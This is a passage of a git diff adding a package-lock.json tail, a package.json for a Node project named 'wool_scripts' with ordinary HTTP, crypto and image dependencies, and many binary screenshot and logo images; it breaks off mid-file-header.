"engines": { + "node": ">=14.16" + } + }, + "node_modules/oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmmirror.com/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", + "engines": { + "node": "*" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/p-cancelable": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/p-cancelable/-/p-cancelable-4.0.1.tgz", + "integrity": "sha512-wBowNApzd45EIKdO1LaU+LrMBwAcjfPaYtVzV3lmfM3gf8Z4CHZsiIqlM8TZZ8okYvh5A1cP6gTfCRQtwUpaUg==", + "engines": { + "node": ">=14.16" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==" + }, + "node_modules/prebuild-install": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/prebuild-install/-/prebuild-install-7.1.1.tgz", + "integrity": "sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==", + "dependencies": { + "detect-libc": "^2.0.0", + "expand-template": "^2.0.3", + "github-from-package": "0.0.0", + "minimist": "^1.2.3", + "mkdirp-classic": "^0.5.3", + "napi-build-utils": "^1.0.1", + "node-abi": "^3.3.0", + "pump": "^3.0.0", + "rc": "^1.2.7", + "simple-get": "^4.0.0", + "tar-fs": "^2.0.0", + "tunnel-agent": "^0.6.0" + }, + "bin": { + "prebuild-install": "bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmmirror.com/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==" + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.5.3", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.5.3.tgz", + "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/queue-tick": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/queue-tick/-/queue-tick-1.0.1.tgz", + "integrity": "sha512-kJt5qhMxoszgU/62PLP1CJytzd2NKetjSRnyuj31fDd3Rlcz3fzlFdFLD1SItunPwyqEOkca6GbV612BWfaBag==" + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/request": { + "version": "2.88.2", + "resolved": "https://registry.npmmirror.com/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/request/node_modules/form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" + }, + "node_modules/responselike": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/responselike/-/responselike-3.0.0.tgz", + "integrity": "sha512-40yHxbNcl2+rzXvZuVkrYohathsSJlMTXKryG5y8uciHv1+xDLHQpgjG64JUO9nrEq2jGLH6IZ8BcZyw3wrweg==", + "dependencies": { + "lowercase-keys": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/semver": { + "version": "7.6.2", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.2.tgz", + "integrity": "sha512-FNAIBWCx9qcRhoHcgcJ0gvU7SN1lYU2ZXuSfl04bSC5OpvDHFyJCjdNHomPXxjQlCBU67YW64PzY7/VIEH7F2w==", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/sharp": { + "version": "0.32.6", + "resolved": "https://registry.npmmirror.com/sharp/-/sharp-0.32.6.tgz", + "integrity": "sha512-KyLTWwgcR9Oe4d9HwCwNM2l7+J0dUQwn/yf7S0EnTtb0eVS4RxO0eUSvxPtzT4F3SY+C4K6fqdv/DO27sJ/v/w==", + "hasInstallScript": true, + "dependencies": { + "color": "^4.2.3", + "detect-libc": "^2.0.2", + "node-addon-api": "^6.1.0", + "prebuild-install": "^7.1.1", + "semver": "^7.5.4", + "simple-get": "^4.0.1", + "tar-fs": "^3.0.4", + "tunnel-agent": "^0.6.0" + }, + "engines": { + "node": ">=14.15.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/sharp/node_modules/tar-fs": { + "version": "3.0.6", + "resolved": "https://registry.npmmirror.com/tar-fs/-/tar-fs-3.0.6.tgz", + "integrity": "sha512-iokBDQQkUyeXhgPYaZxmczGPhnhXZ0CmrqI+MOb/WFGS9DW5wnfrLgtjUJBvz50vQ3qfRwJ62QVoCFu8mPVu5w==", + "dependencies": { + "pump": "^3.0.0", + "tar-stream": "^3.1.5" + }, + "optionalDependencies": { + "bare-fs": "^2.1.1", + "bare-path": "^2.1.0" + } + }, + "node_modules/sharp/node_modules/tar-stream": { + "version": "3.1.7", + "resolved": "https://registry.npmmirror.com/tar-stream/-/tar-stream-3.1.7.tgz", + "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==", + "dependencies": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/simple-concat/-/simple-concat-1.0.1.tgz", + "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==" + }, + "node_modules/simple-get": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", + "dependencies": { + "decompress-response": "^6.0.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/simple-swizzle": { + "version": "0.2.2", + "resolved": "https://registry.npmmirror.com/simple-swizzle/-/simple-swizzle-0.2.2.tgz", + "integrity": "sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg==", + "dependencies": { + "is-arrayish": "^0.3.1" + } + }, + "node_modules/sorted-array-functions": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/sorted-array-functions/-/sorted-array-functions-1.3.0.tgz", + "integrity": "sha512-2sqgzeFlid6N4Z2fUQ1cvFmTOLRi/sEDzSQ0OKYchqgoPmQBVyM3959qYx3fpS6Esef80KjmpgPeEr028dP3OA==" + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmmirror.com/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sshpk": { + "version": "1.17.0", + "resolved": "https://registry.npmmirror.com/sshpk/-/sshpk-1.17.0.tgz", + "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/streamx": { + "version": "2.18.0", + "resolved": "https://registry.npmmirror.com/streamx/-/streamx-2.18.0.tgz", + "integrity": "sha512-LLUC1TWdjVdn1weXGcSxyTR3T4+acB6tVGXT95y0nGbca4t4o/ng1wKAGTljm9VicuCVLvRlqFYXYy5GwgM7sQ==", + "dependencies": { + "fast-fifo": "^1.3.2", + "queue-tick": "^1.0.1", + "text-decoder": "^1.1.0" + }, + "optionalDependencies": { + "bare-events": "^2.2.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/tar-fs": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/tar-fs/-/tar-fs-2.1.1.tgz", + "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==", + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.1.4" + } + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.26.0", + "resolved": "https://registry.npmmirror.com/terser/-/terser-5.26.0.tgz", + "integrity": "sha512-dytTGoE2oHgbNV9nTzgBEPaqAWvcJNl66VZ0BkJqlvp71IjO8CxdBx/ykCNb47cLnCmCvRZ6ZR0tLkqvZCdVBQ==", + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/text-decoder": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/text-decoder/-/text-decoder-1.1.0.tgz", + "integrity": "sha512-TmLJNj6UgX8xcUZo4UDStGQtDiTzF7BzWlzn9g7UWrjkpHr5uJTK1ld16wZ3LXb2vb6jH8qU89dW5whuMdXYdw==", + "dependencies": { + "b4a": "^1.6.4" + } + }, + "node_modules/tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "dependencies": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==" + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/verror": { + "version": "1.10.0", + "resolved": "https://registry.npmmirror.com/verror/-/verror-1.10.0.tgz", + "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==", + "engines": [ + "node >=0.6.0" + ], + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/web-streams-polyfill": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/web-streams-polyfill/-/web-streams-polyfill-3.2.1.tgz", + "integrity": "sha512-e0MO3wdXWKrLbL0DgGnUV7WHVuw9OUvL4hjgnPkIeEvESk74gAITi5G606JtZPp39cd8HA9VQzCIvA49LpPN5Q==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 00000000..720ac08f --- /dev/null +++ b/package.json @@ -0,0 +1,25 @@ +{ + "dependencies": { + "adm-zip": "^0.5.10", + "axios": "^1.7.8", + "crypto-js": "^4.2.0", + "dotenv": "^16.3.2", + "got": "^14.0.0", + "https-proxy-agent": "^7.0.2", + "node-fetch": "^3.3.1", + "node-schedule": "^2.1.1", + "request": "^2.88.2", + "sharp": "^0.32.6", + "terser": "^5.26.0" + }, + "name": "wool_scripts", + "description": "## 致敬开源精神 净化网络环境", + "version": "1.0.0", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "keywords": [], + "author": "", + "license": "ISC" +} diff --git a/pic/logo/logo01.png b/pic/logo/logo01.png new file mode 100644 index 00000000..401262ae Binary files /dev/null and b/pic/logo/logo01.png differ diff --git a/pic/logo/logo02.png b/pic/logo/logo02.png new file mode 100644 index 00000000..beb75b45 Binary files /dev/null and b/pic/logo/logo02.png differ diff --git a/pic/logo/logo03.png b/pic/logo/logo03.png new file mode 100644 index 00000000..b95007ad Binary files /dev/null and b/pic/logo/logo03.png differ diff --git a/pic/logo/logo04.png b/pic/logo/logo04.png new file mode 100644 index 00000000..f8324347 Binary files /dev/null and b/pic/logo/logo04.png differ diff --git a/pic/logo/logo05.png b/pic/logo/logo05.png new file mode 100644 index 00000000..0d77864f Binary files /dev/null and b/pic/logo/logo05.png differ diff --git a/pic/pop/p0.jpeg b/pic/pop/p0.jpeg new file mode 100644 index 00000000..48325c9e Binary files /dev/null and b/pic/pop/p0.jpeg differ diff --git a/pic/quanX/how-to-use-00-01.png b/pic/quanX/how-to-use-00-01.png new file mode 100644 index 00000000..cc642f38 Binary files /dev/null and b/pic/quanX/how-to-use-00-01.png differ diff --git a/pic/quanX/how-to-use-00-02.png b/pic/quanX/how-to-use-00-02.png new file mode 100644 index 00000000..c2ebdc5b Binary files /dev/null and b/pic/quanX/how-to-use-00-02.png differ diff --git a/pic/quanX/how-to-use-00.png b/pic/quanX/how-to-use-00.png new file mode 100644 index 00000000..813d8aa8 Binary files /dev/null and b/pic/quanX/how-to-use-00.png differ diff --git a/pic/quanX/how-to-use-01.png b/pic/quanX/how-to-use-01.png new file mode 100644 index 00000000..071db236 Binary files /dev/null and b/pic/quanX/how-to-use-01.png differ diff --git a/pic/quanX/how-to-use-02.png b/pic/quanX/how-to-use-02.png new file mode 100644 index 00000000..91c0f9e3 Binary files /dev/null and b/pic/quanX/how-to-use-02.png differ diff --git a/pic/quanX/how-to-use-03.png b/pic/quanX/how-to-use-03.png new file mode 100644 index 00000000..fd865af1 Binary files /dev/null and b/pic/quanX/how-to-use-03.png differ diff --git a/pic/quanX/how-to-use-04.png b/pic/quanX/how-to-use-04.png new file mode 100644 index 00000000..a8542432 Binary files /dev/null and b/pic/quanX/how-to-use-04.png differ diff --git a/pic/quanX/how-to-use-05.png b/pic/quanX/how-to-use-05.png new file mode 100644 index 00000000..96a85778 Binary files /dev/null and b/pic/quanX/how-to-use-05.png differ diff --git a/pic/quanX/how-to-use-06.png b/pic/quanX/how-to-use-06.png new file mode 100644 index 00000000..024dddc9 Binary files /dev/null and b/pic/quanX/how-to-use-06.png differ diff --git a/pic/quanX/how-to-use-07.png b/pic/quanX/how-to-use-07.png new file mode 100644 index 00000000..793fe6cb Binary files /dev/null and b/pic/quanX/how-to-use-07.png differ diff --git a/pic/quanX/how-to-use-08.png b/pic/quanX/how-to-use-08.png new file mode 100644 index 00000000..c3dfe57d Binary files /dev/null and b/pic/quanX/how-to-use-08.png differ diff --git a/pic/quanX/how-to-use-09.png b/pic/quanX/how-to-use-09.png new file mode 100644 index 00000000..c2c7e1e1 Binary files /dev/null and b/pic/quanX/how-to-use-09.png differ diff --git a/pic/quanX/how-to-use-10.png b/pic/quanX/how-to-use-10.png new file mode 100644 index 00000000..a420842a Binary files /dev/null and b/pic/quanX/how-to-use-10.png differ diff --git a/pic/quanX/how-to-use-11.png b/pic/quanX/how-to-use-11.png new file mode 100644 index 00000000..0920248c Binary files /dev/null and b/pic/quanX/how-to-use-11.png differ diff --git a/pic/quanX/how-to-use-12.png b/pic/quanX/how-to-use-12.png new file mode 100644 index 00000000..9ab2369c Binary files /dev/null and b/pic/quanX/how-to-use-12.png differ diff --git a/pic/quanX/how-to-use-13.png b/pic/quanX/how-to-use-13.png new file mode 100644 index 00000000..35b10499 Binary files /dev/null and b/pic/quanX/how-to-use-13.png differ diff --git a/pic/quanX/how-to-use-14.png b/pic/quanX/how-to-use-14.png new file mode 100644 index 00000000..7b0f2cc7 Binary files /dev/null and b/pic/quanX/how-to-use-14.png differ diff --git a/pic/quanX/how-to-use-15.png b/pic/quanX/how-to-use-15.png new file mode 100644 index 00000000..6cb6e4b9 Binary files /dev/null and b/pic/quanX/how-to-use-15.png differ diff --git a/pic/quanX/how-to-use-16.png b/pic/quanX/how-to-use-16.png new file mode 100644 index 00000000..26a8909c Binary files /dev/null and b/pic/quanX/how-to-use-16.png differ diff --git a/pic/quanX/how-to-use-17.png b/pic/quanX/how-to-use-17.png new file mode 100644 index 00000000..8c8b5f81 Binary files /dev/null and b/pic/quanX/how-to-use-17.png differ diff --git a/pic/quanX/how-to-use-18.png b/pic/quanX/how-to-use-18.png new file mode 100644 index 00000000..3d068438 Binary files /dev/null and b/pic/quanX/how-to-use-18.png differ diff --git a/pic/quanX/how-to-use-19.png b/pic/quanX/how-to-use-19.png new file mode 100644 index 00000000..9830fbc3 Binary files /dev/null and b/pic/quanX/how-to-use-19.png differ diff --git a/pic/quanX/how-to-use-20.png b/pic/quanX/how-to-use-20.png new file mode 100644 index 00000000..6d83825c Binary files /dev/null and b/pic/quanX/how-to-use-20.png differ diff --git a/pic/quanX/how-to-use-21.png b/pic/quanX/how-to-use-21.png new file mode 100644 index 00000000..57522a42 Binary files /dev/null and b/pic/quanX/how-to-use-21.png differ diff --git a/pic/quanX/img.png b/pic/quanX/img.png new file mode 100644 index 00000000..32bab425 Binary files /dev/null and b/pic/quanX/img.png differ diff --git a/pic/quanX/img_1.png b/pic/quanX/img_1.png new file mode 100644 index 00000000..df523340 Binary files /dev/null and b/pic/quanX/img_1.png differ diff --git a/pic/quanX/img_10.png b/pic/quanX/img_10.png new file mode 100644 index 00000000..d4b04215 Binary files /dev/null and b/pic/quanX/img_10.png differ diff --git a/pic/quanX/img_11.png b/pic/quanX/img_11.png new file mode 100644 index 00000000..128848be Binary files /dev/null and b/pic/quanX/img_11.png differ diff --git a/pic/quanX/img_12.png b/pic/quanX/img_12.png new file mode 100644 index 00000000..f56995de Binary files /dev/null and b/pic/quanX/img_12.png differ diff --git a/pic/quanX/img_2.png b/pic/quanX/img_2.png new file mode 100644 index 00000000..e32b2f3d Binary files /dev/null and b/pic/quanX/img_2.png differ diff --git a/pic/quanX/img_3.png b/pic/quanX/img_3.png new file mode 100644 index 00000000..80e8e796 Binary files /dev/null and b/pic/quanX/img_3.png differ diff --git a/pic/quanX/img_4.png b/pic/quanX/img_4.png new file mode 100644 index 00000000..6563516c Binary files /dev/null and b/pic/quanX/img_4.png differ diff --git a/pic/quanX/img_5.png b/pic/quanX/img_5.png new file mode 100644 index 00000000..6dcf74ef Binary files /dev/null and b/pic/quanX/img_5.png differ diff --git a/pic/quanX/img_6.png b/pic/quanX/img_6.png new file mode 100644 index 00000000..d2e11c89 Binary files /dev/null and b/pic/quanX/img_6.png differ diff --git a/pic/quanX/img_7.png b/pic/quanX/img_7.png new file mode 100644 index 00000000..8d8611db Binary files /dev/null and b/pic/quanX/img_7.png differ diff --git a/pic/quanX/img_8.png b/pic/quanX/img_8.png new file mode 100644 index 00000000..3d18a76e Binary files /dev/null and b/pic/quanX/img_8.png differ diff --git a/pic/quanX/img_9.png b/pic/quanX/img_9.png new file mode 100644 index 00000000..69b6b7b4 Binary files /dev/null and b/pic/quanX/img_9.png differ diff --git a/pic/rewrite/img.png b/pic/rewrite/img.png new file mode 100644 index 00000000..db8b140a Binary files /dev/null and b/pic/rewrite/img.png differ diff --git a/pic/rewrite/img_1.png b/pic/rewrite/img_1.png new file mode 100644 index 00000000..a050a272 Binary files /dev/null and b/pic/rewrite/img_1.png differ diff --git a/pic/rewrite/img_2.png b/pic/rewrite/img_2.png new file mode 100644 index 00000000..a050a272 Binary files /dev/null and b/pic/rewrite/img_2.png differ diff --git a/pic/rewrite/img_3.png b/pic/rewrite/img_3.png new file mode 100644 index 00000000..42a32e7c Binary files /dev/null and b/pic/rewrite/img_3.png differ diff --git a/pic/rewrite/img_4.png b/pic/rewrite/img_4.png new file mode 100644 index 00000000..902ee735 Binary files /dev/null and b/pic/rewrite/img_4.png differ diff --git a/pic/rewrite/img_5.png b/pic/rewrite/img_5.png new file mode 100644 index 00000000..c55175d7 Binary files /dev/null and b/pic/rewrite/img_5.png differ diff --git a/pic/rewrite/img_6.png b/pic/rewrite/img_6.png new file mode 100644 index 00000000..c5760988 Binary files /dev/null and b/pic/rewrite/img_6.png differ diff --git a/pic/rewrite/img_7.png 